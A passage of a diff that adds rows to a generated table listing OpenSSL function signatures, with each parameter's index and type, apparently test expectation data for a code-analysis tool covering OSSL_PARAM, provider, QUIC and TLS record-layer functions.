| size_t | +| (OSSL_PARAM[],size_t,size_t,unsigned long) | | ossl_digest_default_get_params | 0 | OSSL_PARAM[] | +| (OSSL_PARAM[],size_t,size_t,unsigned long) | | ossl_digest_default_get_params | 1 | size_t | +| (OSSL_PARAM[],size_t,size_t,unsigned long) | | ossl_digest_default_get_params | 2 | size_t | +| (OSSL_PARAM[],size_t,size_t,unsigned long) | | ossl_digest_default_get_params | 3 | unsigned long | +| (OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t) | | ossl_cipher_generic_get_params | 0 | OSSL_PARAM[] | +| (OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t) | | ossl_cipher_generic_get_params | 1 | unsigned int | +| (OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t) | | ossl_cipher_generic_get_params | 2 | uint64_t | +| (OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t) | | ossl_cipher_generic_get_params | 3 | size_t | +| (OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t) | | ossl_cipher_generic_get_params | 4 | size_t | +| (OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t) | | ossl_cipher_generic_get_params | 5 | size_t | +| (OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t) | | ossl_tdes_get_params | 0 | OSSL_PARAM[] | +| (OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t) | | ossl_tdes_get_params | 1 | unsigned int | +| (OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t) | | ossl_tdes_get_params | 2 | uint64_t | +| (OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t) | | ossl_tdes_get_params | 3 | size_t | +| (OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t) | | ossl_tdes_get_params | 4 | size_t | +| (OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t) | | ossl_tdes_get_params | 5 | size_t | +| (OSSL_PARAM_BLD *) | | OSSL_PARAM_BLD_to_param | 0 | OSSL_PARAM_BLD * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *) | | ossl_param_build_set_bn | 0 | OSSL_PARAM_BLD * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *) | | ossl_param_build_set_bn | 1 | OSSL_PARAM * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *) | | ossl_param_build_set_bn | 2 | const char * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *) | | ossl_param_build_set_bn | 3 | const BIGNUM * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *,size_t) | | ossl_param_build_set_bn_pad | 0 | OSSL_PARAM_BLD * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *,size_t) | | ossl_param_build_set_bn_pad | 1 | OSSL_PARAM * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *,size_t) | | ossl_param_build_set_bn_pad | 2 | const char * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *,size_t) | | ossl_param_build_set_bn_pad | 3 | const BIGNUM * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *,size_t) | | ossl_param_build_set_bn_pad | 4 | size_t | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const char *) | | ossl_param_build_set_utf8_string | 0 | OSSL_PARAM_BLD * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const char *) | | ossl_param_build_set_utf8_string | 1 | OSSL_PARAM * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const char *) | | ossl_param_build_set_utf8_string | 2 | const char * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const char *) | | ossl_param_build_set_utf8_string | 3 | const char * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const unsigned char *,size_t) | | ossl_param_build_set_octet_string | 0 | OSSL_PARAM_BLD * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const unsigned char *,size_t) | | ossl_param_build_set_octet_string | 1 | OSSL_PARAM * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const unsigned char *,size_t) | | ossl_param_build_set_octet_string | 2 | const char * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const unsigned char *,size_t) | | ossl_param_build_set_octet_string | 3 | const unsigned char * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const unsigned char *,size_t) | | ossl_param_build_set_octet_string | 4 | size_t | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,int) | | ossl_param_build_set_int | 0 | OSSL_PARAM_BLD * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,int) | | ossl_param_build_set_int | 1 | OSSL_PARAM * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,int) | | ossl_param_build_set_int | 2 | const char * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,int) | | ossl_param_build_set_int | 3 | int | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,long) | | ossl_param_build_set_long | 0 | OSSL_PARAM_BLD * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,long) | | ossl_param_build_set_long | 1 | OSSL_PARAM * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,long) | | ossl_param_build_set_long | 2 | const char * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,long) | | ossl_param_build_set_long | 3 | long | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *[],stack_st_BIGNUM_const *) | | ossl_param_build_set_multi_key_bn | 0 | OSSL_PARAM_BLD * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *[],stack_st_BIGNUM_const *) | | ossl_param_build_set_multi_key_bn | 1 | OSSL_PARAM * | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *[],stack_st_BIGNUM_const *) | | ossl_param_build_set_multi_key_bn | 2 | const char *[] | +| (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *[],stack_st_BIGNUM_const *) | | ossl_param_build_set_multi_key_bn | 3 | stack_st_BIGNUM_const * | +| (OSSL_PARAM_BLD *,const char *,const BIGNUM *) | | OSSL_PARAM_BLD_push_BN | 0 | OSSL_PARAM_BLD * | +| (OSSL_PARAM_BLD *,const char *,const BIGNUM *) | | OSSL_PARAM_BLD_push_BN | 1 | const char * | +| (OSSL_PARAM_BLD *,const char *,const BIGNUM *) | | OSSL_PARAM_BLD_push_BN | 2 | const BIGNUM * | +| (OSSL_PARAM_BLD *,const char *,const BIGNUM *,size_t) | | OSSL_PARAM_BLD_push_BN_pad | 0 | OSSL_PARAM_BLD * | +| (OSSL_PARAM_BLD *,const char *,const BIGNUM *,size_t) | | OSSL_PARAM_BLD_push_BN_pad | 1 | const char * | +| (OSSL_PARAM_BLD *,const char *,const BIGNUM *,size_t) | | OSSL_PARAM_BLD_push_BN_pad | 2 | const BIGNUM * | +| (OSSL_PARAM_BLD *,const char *,const BIGNUM *,size_t) | | OSSL_PARAM_BLD_push_BN_pad | 3 | size_t | +| (OSSL_PARAM_BLD *,const char *,const char *,size_t) | | OSSL_PARAM_BLD_push_utf8_string | 0 | OSSL_PARAM_BLD * | +| (OSSL_PARAM_BLD *,const char *,const char *,size_t) | | OSSL_PARAM_BLD_push_utf8_string | 1 | const char * | +| (OSSL_PARAM_BLD *,const char *,const char *,size_t) | | OSSL_PARAM_BLD_push_utf8_string | 2 | const char * | +| (OSSL_PARAM_BLD *,const char *,const char *,size_t) | | OSSL_PARAM_BLD_push_utf8_string | 3 | size_t | +| (OSSL_PARAM_BLD *,const char *,const void *,size_t) | | OSSL_PARAM_BLD_push_octet_string | 0 | OSSL_PARAM_BLD * | +| (OSSL_PARAM_BLD *,const char *,const void *,size_t) | | OSSL_PARAM_BLD_push_octet_string | 1 | const char * | +| (OSSL_PARAM_BLD *,const char *,const void *,size_t) | | OSSL_PARAM_BLD_push_octet_string | 2 | const void * | +| (OSSL_PARAM_BLD *,const char *,const void *,size_t) | | OSSL_PARAM_BLD_push_octet_string | 3 | size_t | +| (OSSL_PQUEUE *) | | ossl_pqueue_pop | 0 | OSSL_PQUEUE * | +| (OSSL_PQUEUE *,size_t) | | ossl_pqueue_remove | 0 | OSSL_PQUEUE * | +| (OSSL_PQUEUE *,size_t) | | ossl_pqueue_remove | 1 | size_t | +| (OSSL_PQUEUE *,void *,size_t *) | | ossl_pqueue_push | 0 | OSSL_PQUEUE * | +| (OSSL_PQUEUE *,void *,size_t *) | | ossl_pqueue_push | 1 | void * | +| (OSSL_PQUEUE *,void *,size_t *) | | ossl_pqueue_push | 2 | size_t * | +| (OSSL_PRIVILEGE_POLICY_ID *) | | OSSL_PRIVILEGE_POLICY_ID_free | 0 | OSSL_PRIVILEGE_POLICY_ID * | +| (OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long) | | d2i_OSSL_PRIVILEGE_POLICY_ID | 0 | OSSL_PRIVILEGE_POLICY_ID ** | +| (OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long) | | d2i_OSSL_PRIVILEGE_POLICY_ID | 1 | const unsigned char ** | +| (OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long) | | d2i_OSSL_PRIVILEGE_POLICY_ID | 2 | long | +| (OSSL_PROVIDER *) | | ossl_provider_get_parent | 0 | OSSL_PROVIDER * | +| (OSSL_PROVIDER *,OSSL_PROVIDER **,int) | | ossl_provider_add_to_store | 0 | OSSL_PROVIDER * | +| (OSSL_PROVIDER *,OSSL_PROVIDER **,int) | | ossl_provider_add_to_store | 1 | OSSL_PROVIDER ** | +| (OSSL_PROVIDER *,OSSL_PROVIDER **,int) | | ossl_provider_add_to_store | 2 | int | +| (OSSL_PROVIDER *,const OSSL_CORE_HANDLE *) | | ossl_provider_set_child | 0 | OSSL_PROVIDER * | +| (OSSL_PROVIDER *,const OSSL_CORE_HANDLE *) | | ossl_provider_set_child | 1 | const OSSL_CORE_HANDLE * | +| (OSSL_PROVIDER *,const char *) | | ossl_provider_set_module_path | 0 | OSSL_PROVIDER * | +| (OSSL_PROVIDER *,const char *) | | ossl_provider_set_module_path | 1 | const char * | +| (OSSL_PROVIDER *,int,..(*)(..),void *) | | evp_names_do_all | 0 | OSSL_PROVIDER * | +| (OSSL_PROVIDER *,int,..(*)(..),void *) | | evp_names_do_all | 1 | int | +| (OSSL_PROVIDER *,int,..(*)(..),void *) | | evp_names_do_all | 2 | ..(*)(..) | +| (OSSL_PROVIDER *,int,..(*)(..),void *) | | evp_names_do_all | 3 | void * | +| (OSSL_PROVIDER *,size_t) | | ossl_provider_set_operation_bit | 0 | OSSL_PROVIDER * | +| (OSSL_PROVIDER *,size_t) | | ossl_provider_set_operation_bit | 1 | size_t | +| (OSSL_PROVIDER *,size_t,int *) | | ossl_provider_test_operation_bit | 0 | OSSL_PROVIDER * | +| (OSSL_PROVIDER *,size_t,int *) | | ossl_provider_test_operation_bit | 1 | size_t | +| (OSSL_PROVIDER *,size_t,int *) | | ossl_provider_test_operation_bit | 2 | int * | +| (OSSL_QRL_ENC_LEVEL_SET *,uint32_t,int) | | ossl_qrl_enc_level_set_get | 0 | OSSL_QRL_ENC_LEVEL_SET * | +| (OSSL_QRL_ENC_LEVEL_SET *,uint32_t,int) | | ossl_qrl_enc_level_set_get | 1 | uint32_t | +| (OSSL_QRL_ENC_LEVEL_SET *,uint32_t,int) | | ossl_qrl_enc_level_set_get | 2 | int | +| (OSSL_QRX *) | | ossl_qrx_get_cur_forged_pkt_count | 0 | OSSL_QRX * | +| (OSSL_QRX *) | | ossl_qrx_get_short_hdr_conn_id_len | 0 | OSSL_QRX * | +| (OSSL_QRX *,OSSL_QRX_PKT *) | | ossl_qrx_inject_pkt | 0 | OSSL_QRX * | +| (OSSL_QRX *,OSSL_QRX_PKT *) | | ossl_qrx_inject_pkt | 1 | OSSL_QRX_PKT * | +| (OSSL_QRX *,OSSL_QRX_PKT **) | | ossl_qrx_read_pkt | 0 | OSSL_QRX * | +| (OSSL_QRX *,OSSL_QRX_PKT **) | | ossl_qrx_read_pkt | 1 | OSSL_QRX_PKT ** | +| (OSSL_QRX *,QUIC_URXE *) | | ossl_qrx_inject_urxe | 0 | OSSL_QRX * | +| (OSSL_QRX *,QUIC_URXE *) | | ossl_qrx_inject_urxe | 1 | QUIC_URXE * | +| (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 0 | OSSL_QRX * | +| (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | int | +| (OSSL_QRX *,ossl_msg_cb,SSL *) | | ossl_qrx_set_msg_callback | 0 | OSSL_QRX * | +| (OSSL_QRX *,ossl_msg_cb,SSL *) | | ossl_qrx_set_msg_callback | 1 | ossl_msg_cb | +| (OSSL_QRX *,ossl_msg_cb,SSL *) | | ossl_qrx_set_msg_callback | 2 | SSL * | +| (OSSL_QRX *,ossl_qrx_key_update_cb *,void *) | | ossl_qrx_set_key_update_cb | 0 | OSSL_QRX * | +| (OSSL_QRX *,ossl_qrx_key_update_cb *,void *) | | ossl_qrx_set_key_update_cb | 1 | ossl_qrx_key_update_cb * | +| (OSSL_QRX *,ossl_qrx_key_update_cb *,void *) | | ossl_qrx_set_key_update_cb | 2 | void * | +| (OSSL_QRX *,ossl_qrx_late_validation_cb *,void *) | | ossl_qrx_set_late_validation_cb | 0 | OSSL_QRX * | +| (OSSL_QRX *,ossl_qrx_late_validation_cb *,void *) | | ossl_qrx_set_late_validation_cb | 1 | ossl_qrx_late_validation_cb * | +| (OSSL_QRX *,ossl_qrx_late_validation_cb *,void *) | | ossl_qrx_set_late_validation_cb | 2 | void * | +| (OSSL_QRX *,void *) | | ossl_qrx_set_msg_callback_arg | 0 | OSSL_QRX * | +| (OSSL_QRX *,void *) | | ossl_qrx_set_msg_callback_arg | 1 | void * | +| (OSSL_QTX *) | | ossl_qtx_get_cur_dgram_len_bytes | 0 | OSSL_QTX * | +| (OSSL_QTX *) | | ossl_qtx_get_mdpl | 0 | OSSL_QTX * | +| (OSSL_QTX *) | | ossl_qtx_get_queue_len_bytes | 0 | OSSL_QTX * | +| (OSSL_QTX *) | | ossl_qtx_get_queue_len_datagrams | 0 | OSSL_QTX * | +| (OSSL_QTX *) | | ossl_qtx_get_unflushed_pkt_count | 0 | OSSL_QTX * | +| (OSSL_QTX *,..(*)(..),void *) | | ossl_qtx_set_qlog_cb | 0 | OSSL_QTX * | +| (OSSL_QTX *,..(*)(..),void *) | | ossl_qtx_set_qlog_cb | 1 | ..(*)(..) | +| (OSSL_QTX *,..(*)(..),void *) | | ossl_qtx_set_qlog_cb | 2 | void * | +| (OSSL_QTX *,BIO *) | | ossl_qtx_set_bio | 0 | OSSL_QTX * | +| (OSSL_QTX *,BIO *) | | ossl_qtx_set_bio | 1 | BIO * | +| (OSSL_QTX *,BIO_MSG *) | | ossl_qtx_pop_net | 0 | OSSL_QTX * | +| (OSSL_QTX *,BIO_MSG *) | | ossl_qtx_pop_net | 1 | BIO_MSG * | +| (OSSL_QTX *,ossl_msg_cb,SSL *) | | ossl_qtx_set_msg_callback | 0 | OSSL_QTX * | +| (OSSL_QTX *,ossl_msg_cb,SSL *) | | ossl_qtx_set_msg_callback | 1 | ossl_msg_cb | +| (OSSL_QTX *,ossl_msg_cb,SSL *) | | ossl_qtx_set_msg_callback | 2 | SSL * | +| (OSSL_QTX *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *) | | ossl_qtx_set_mutator | 0 | OSSL_QTX * | +| (OSSL_QTX *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *) | | ossl_qtx_set_mutator | 1 | ossl_mutate_packet_cb | +| (OSSL_QTX *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *) | | ossl_qtx_set_mutator | 2 | ossl_finish_mutate_cb | +| (OSSL_QTX *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *) | | ossl_qtx_set_mutator | 3 | void * | +| (OSSL_QTX *,size_t) | | ossl_qtx_set_mdpl | 0 | OSSL_QTX * | +| (OSSL_QTX *,size_t) | | ossl_qtx_set_mdpl | 1 | size_t | +| (OSSL_QTX *,uint32_t) | | ossl_qtx_get_cur_epoch_pkt_count | 0 | OSSL_QTX * | +| (OSSL_QTX *,uint32_t) | | ossl_qtx_get_cur_epoch_pkt_count | 1 | uint32_t | +| (OSSL_QTX *,uint32_t) | | ossl_qtx_is_enc_level_provisioned | 0 | OSSL_QTX * | +| (OSSL_QTX *,uint32_t) | | ossl_qtx_is_enc_level_provisioned | 1 | uint32_t | +| (OSSL_QTX *,uint32_t,size_t,size_t *) | | ossl_qtx_calculate_ciphertext_payload_len | 0 | OSSL_QTX * | +| (OSSL_QTX *,uint32_t,size_t,size_t *) | | ossl_qtx_calculate_ciphertext_payload_len | 1 | uint32_t | +| (OSSL_QTX *,uint32_t,size_t,size_t *) | | ossl_qtx_calculate_ciphertext_payload_len | 2 | size_t | +| (OSSL_QTX *,uint32_t,size_t,size_t *) | | ossl_qtx_calculate_ciphertext_payload_len | 3 | size_t * | +| (OSSL_QTX *,uint32_t,size_t,size_t *) | | ossl_qtx_calculate_plaintext_payload_len | 0 | OSSL_QTX * | +| (OSSL_QTX *,uint32_t,size_t,size_t *) | | ossl_qtx_calculate_plaintext_payload_len | 1 | uint32_t | +| (OSSL_QTX *,uint32_t,size_t,size_t *) | | ossl_qtx_calculate_plaintext_payload_len | 2 | size_t | +| (OSSL_QTX *,uint32_t,size_t,size_t *) | | ossl_qtx_calculate_plaintext_payload_len | 3 | size_t * | +| (OSSL_QTX *,void *) | | ossl_qtx_set_msg_callback_arg | 0 | OSSL_QTX * | +| (OSSL_QTX *,void *) | | ossl_qtx_set_msg_callback_arg | 1 | void * | +| (OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *) | | ossl_quic_tx_packetiser_set_ack_tx_cb | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *) | | ossl_quic_tx_packetiser_set_ack_tx_cb | 1 | ..(*)(..) | +| (OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *) | | ossl_quic_tx_packetiser_set_ack_tx_cb | 2 | void * | +| (OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *) | | ossl_quic_tx_packetiser_set_qlog_cb | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *) | | ossl_quic_tx_packetiser_set_qlog_cb | 1 | ..(*)(..) | +| (OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *) | | ossl_quic_tx_packetiser_set_qlog_cb | 2 | void * | +| (OSSL_QUIC_TX_PACKETISER *,const OSSL_QUIC_FRAME_CONN_CLOSE *) | | ossl_quic_tx_packetiser_schedule_conn_close | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,const OSSL_QUIC_FRAME_CONN_CLOSE *) | | ossl_quic_tx_packetiser_schedule_conn_close | 1 | const OSSL_QUIC_FRAME_CONN_CLOSE * | +| (OSSL_QUIC_TX_PACKETISER *,const QUIC_CONN_ID *) | | ossl_quic_tx_packetiser_set_cur_dcid | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,const QUIC_CONN_ID *) | | ossl_quic_tx_packetiser_set_cur_dcid | 1 | const QUIC_CONN_ID * | +| (OSSL_QUIC_TX_PACKETISER *,const QUIC_CONN_ID *) | | ossl_quic_tx_packetiser_set_cur_scid | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,const QUIC_CONN_ID *) | | ossl_quic_tx_packetiser_set_cur_scid | 1 | const QUIC_CONN_ID * | +| (OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *) | | ossl_quic_tx_packetiser_set_initial_token | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *) | | ossl_quic_tx_packetiser_set_initial_token | 1 | const unsigned char * | +| (OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *) | | ossl_quic_tx_packetiser_set_initial_token | 2 | size_t | +| (OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *) | | ossl_quic_tx_packetiser_set_initial_token | 3 | ossl_quic_initial_token_free_fn * | +| (OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *) | | ossl_quic_tx_packetiser_set_initial_token | 4 | void * | +| (OSSL_QUIC_TX_PACKETISER *,ossl_msg_cb,SSL *) | | ossl_quic_tx_packetiser_set_msg_callback | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,ossl_msg_cb,SSL *) | | ossl_quic_tx_packetiser_set_msg_callback | 1 | ossl_msg_cb | +| (OSSL_QUIC_TX_PACKETISER *,ossl_msg_cb,SSL *) | | ossl_quic_tx_packetiser_set_msg_callback | 2 | SSL * | +| (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_add_unvalidated_credit | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_add_unvalidated_credit | 1 | size_t | +| (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_consume_unvalidated_credit | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_consume_unvalidated_credit | 1 | size_t | +| (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_record_received_closing_bytes | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_record_received_closing_bytes | 1 | size_t | +| (OSSL_QUIC_TX_PACKETISER *,uint32_t) | | ossl_quic_tx_packetiser_get_next_pn | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,uint32_t) | | ossl_quic_tx_packetiser_get_next_pn | 1 | uint32_t | +| (OSSL_QUIC_TX_PACKETISER *,uint32_t) | | ossl_quic_tx_packetiser_schedule_ack | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,uint32_t) | | ossl_quic_tx_packetiser_schedule_ack | 1 | uint32_t | +| (OSSL_QUIC_TX_PACKETISER *,uint32_t) | | ossl_quic_tx_packetiser_schedule_ack_eliciting | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,uint32_t) | | ossl_quic_tx_packetiser_schedule_ack_eliciting | 1 | uint32_t | +| (OSSL_QUIC_TX_PACKETISER *,uint32_t) | | ossl_quic_tx_packetiser_set_protocol_version | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,uint32_t) | | ossl_quic_tx_packetiser_set_protocol_version | 1 | uint32_t | +| (OSSL_QUIC_TX_PACKETISER *,void *) | | ossl_quic_tx_packetiser_set_msg_callback_arg | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,void *) | | ossl_quic_tx_packetiser_set_msg_callback_arg | 1 | void * | +| (OSSL_RECORD_LAYER *) | | tls_app_data_pending | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *) | | tls_get_alert_code | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *) | | tls_get_compression | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *) | | tls_unprocessed_read_pending | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,BIO *) | | tls_set1_bio | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,BIO *) | | tls_set1_bio | 1 | BIO * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t) | | tls_write_records_default | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t) | | tls_write_records_default | 1 | OSSL_RECORD_TEMPLATE * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t) | | tls_write_records_default | 2 | size_t | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t) | | tls_write_records_multiblock | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t) | | tls_write_records_multiblock | 1 | OSSL_RECORD_TEMPLATE * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t) | | tls_write_records_multiblock | 2 | size_t | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *) | | tls1_initialise_write_packets | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *) | | tls1_initialise_write_packets | 1 | OSSL_RECORD_TEMPLATE * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *) | | tls1_initialise_write_packets | 2 | size_t | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *) | | tls1_initialise_write_packets | 3 | OSSL_RECORD_TEMPLATE * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *) | | tls1_initialise_write_packets | 4 | WPACKET * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *) | | tls1_initialise_write_packets | 5 | TLS_BUFFER * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *) | | tls1_initialise_write_packets | 6 | size_t * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *) | | tls_initialise_write_packets_default | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *) | | tls_initialise_write_packets_default | 1 | OSSL_RECORD_TEMPLATE * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *) | | tls_initialise_write_packets_default | 2 | size_t | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *) | | tls_initialise_write_packets_default | 3 | OSSL_RECORD_TEMPLATE * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *) | | tls_initialise_write_packets_default | 4 | WPACKET * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *) | | tls_initialise_write_packets_default | 5 | TLS_BUFFER * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *) | | tls_initialise_write_packets_default | 6 | size_t * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *) | | tls1_allocate_write_buffers | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *) | | tls1_allocate_write_buffers | 1 | OSSL_RECORD_TEMPLATE * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *) | | tls1_allocate_write_buffers | 2 | size_t | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *) | | tls1_allocate_write_buffers | 3 | size_t * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *) | | tls_allocate_write_buffers_default | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *) | | tls_allocate_write_buffers_default | 1 | OSSL_RECORD_TEMPLATE * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *) | | tls_allocate_write_buffers_default | 2 | size_t | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *) | | tls_allocate_write_buffers_default | 3 | size_t * | +| (OSSL_RECORD_LAYER *,TLS_RL_RECORD *) | | tls_default_post_process_record | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,TLS_RL_RECORD 